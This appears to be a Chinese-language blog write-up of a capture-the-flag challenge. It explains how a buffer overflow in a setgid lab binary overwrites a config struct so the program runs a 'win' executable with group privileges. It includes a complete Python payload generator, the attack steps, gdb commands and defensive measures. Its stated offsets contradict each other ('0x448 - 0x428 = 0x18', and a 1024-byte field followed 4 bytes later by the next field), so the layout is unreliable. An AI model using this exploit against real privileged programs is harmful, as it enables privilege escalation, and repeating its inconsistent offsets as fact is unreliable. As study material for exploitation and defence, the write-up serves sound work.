缓冲区溢出覆盖data

以下是针对这次 缓冲区溢出 (Buffer Overflow) 攻击的解题心得,包括 分析过程、漏洞利用、以及缓解策略,帮助你总结经验并提升你的二进制漏洞挖掘和利用能力。


缓冲区溢出 (Buffer Overflow) 解题心得

1. 题目分析

本次挑战涉及 二进制逆向 (Reverse Engineering)数据内存破坏攻击 (Data-only Memory Corruption Attack)。通过分析 sun 程序的行为,我们的目标是 利用内存溢出漏洞,执行 /usr/local/bin/win 并提升权限

核心信息包括:

  • sun 程序的 setgid 权限,使其以 prog10 组运行。
  • 需要找到 可利用的漏洞,通常是缓冲区溢出 (Buffer Overflow)。
  • 通过分析程序内存布局,我们可以 覆盖关键变量,最终绕过限制并执行目标代码。

2. 代码逆向与漏洞分析

使用 gdbobjdump 分析程序的汇编指令和栈布局,发现:

  • config 结构体在 %ebp - 0x428 位置,占用 1040 字节 (1024 + 4 + 4 + 8)。
  • buf[MAX_LEN]%ebp - 0x848,占用 1024 字节
  • bufconfig 之间 间隔 32 字节 (0x448 - 0x428 = 0x18)。

关键问题

  • read_file(buf, argv[1]) 读取文件内容,没有边界检查。
  • 如果 buf 过长,可以 覆盖 config 结构体内容,修改 usergrouphydrogen 变量。

利用方法

  • 构造一个 超长的输入,覆盖 config.userconfig.groupconfig.hydrogen,让程序误以为当前用户已经满足条件。
  • 这样 check_sun() 函数就会成功调用 it_is_time(),最终 执行 /usr/local/bin/win

3. 构造恶意 Payload

基于分析,我们需要构造如下 Payload:

变量 偏移量 (ebp - x) 大小 填充值
buf -0x848 1024 A * 1024 (填充数据)
间隔区域 -0x448 32 \x00 * 32 (避免破坏其他数据)
config.processor -0x428 1024 "/usr/local/bin/win" (目标程序路径)
config.user -0x424 4 伪造 user ID (6084)
config.group -0x420 4 伪造 group ID (1012, prog10)
config.hydrogen -0x418 8 设为 2024 (确保 check_sun 通过)

优化后的 Python Exploit 代码

import struct

# 目标程序路径
EXEC_PATH = b"/usr/local/bin/win"
EXEC_PATH_LEN = len(EXEC_PATH)

# 设定缓冲区大小
BUFFER_SIZE = 1024
PADDING_SIZE = 32

# 需要覆盖的字段值
USER_ID = 6084
GROUP_ID = 1012
HYDROGEN = 2024

# 构造 payload
payload = b"A" * BUFFER_SIZE  # 填充缓冲区
payload += b"\x00" * PADDING_SIZE  # 间隔填充
payload += EXEC_PATH  # 插入目标可执行文件路径
payload += b"\x00" * (BUFFER_SIZE - EXEC_PATH_LEN)  # 补齐 buffer
payload += struct.pack("<I", USER_ID)  # 伪造 user ID
payload += struct.pack("<I", GROUP_ID)  # 伪造 group ID
payload += struct.pack("<Q", HYDROGEN)  # 设定 hydrogen 值

# 写入 payload 到文件
def save_payload(filename="payload"):
    with open(filename, "wb") as f:
        f.write(payload)
    print(f"[+] Exploit payload written to '{filename}' ({len(payload)} bytes)")

# 运行
if __name__ == "__main__":
    save_payload()

4. 执行攻击

攻击步骤

  1. 生成 payload:
    python3 exploit.py
    
  2. 运行 sun 并提供 payload:
    /usr/local/bin/sun payload
    
  3. 如果成功,sun 会执行 /usr/local/bin/win,并以 prog10 组权限运行,返回 token

5. 关键知识点总结

(1)程序内存布局

  • 使用 gdb/objdump(这道题用了objdump) 确定 关键变量的地址(如 configbuffer)。
  • 了解 变量在栈上的布局,确保 payload 能 覆盖正确的变量

(2)缓冲区溢出 (Buffer Overflow)

  • 典型溢出场景
    • char buf[1024]; fgets(buf, 2048, stdin); → 无边界检查,可能溢出。
    • strcpy(dst, src);src 过长可能覆盖 dst 之后的变量。
  • 避免溢出的两种方式
    • 代码层面:使用 strncpy()fgets() 指定长度。
    • 系统层面:启用 ASLR、Stack Canaries、DEP 等防护。

(3)如何逆向二进制

  • objdump -d sun 获取汇编代码,分析 leacall 指令传递的地址。
  • gdb sun 运行 break check_sun 观察执行逻辑:
    break check_sun
    run payload
    x/20x $ebp-0x848  # 查看 buffer 及 config 结构体
    
  • strings sun 查找硬编码字符串,如 "/usr/local/bin/win"

(4)提权与 setgid

  • sun 具有 setgid,运行时继承 prog10 组权限。
  • 我们需要修改 config.group 以欺骗程序,使其执行 win

6. 可能的防御措施

(1)启用 ASLR

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

ASLR 会随机化堆栈地址,使溢出攻击更困难。

(2)编译时启用 Stack Canaries

gcc -fstack-protector-all -o sun sun.c

Stack Canaries 保护返回地址不被覆盖。

(3)避免 setgid 二进制

尽可能避免 setgid 程序,使用 sudo 控制权限。


7. 总结

本次挑战提供了一个 经典的缓冲区溢出漏洞,通过逆向工程分析程序的内存布局,我们成功构造了 数据覆盖攻击 (Data-Only Attack),绕过了权限限制,最终执行了 /usr/local/bin/win 并获取 token
这次实战强化了 gdb 调试、汇编分析、内存溢出利用、以及提权技术,是非常宝贵的二进制安全经验。🔥💻


希望这篇心得可以帮助你更深入地理解 二进制漏洞利用,并提升你的 逆向分析安全研究能力!🚀

posted @ 2025-02-21 20:55  peterzh6  阅读(3)  评论(0)    收藏  举报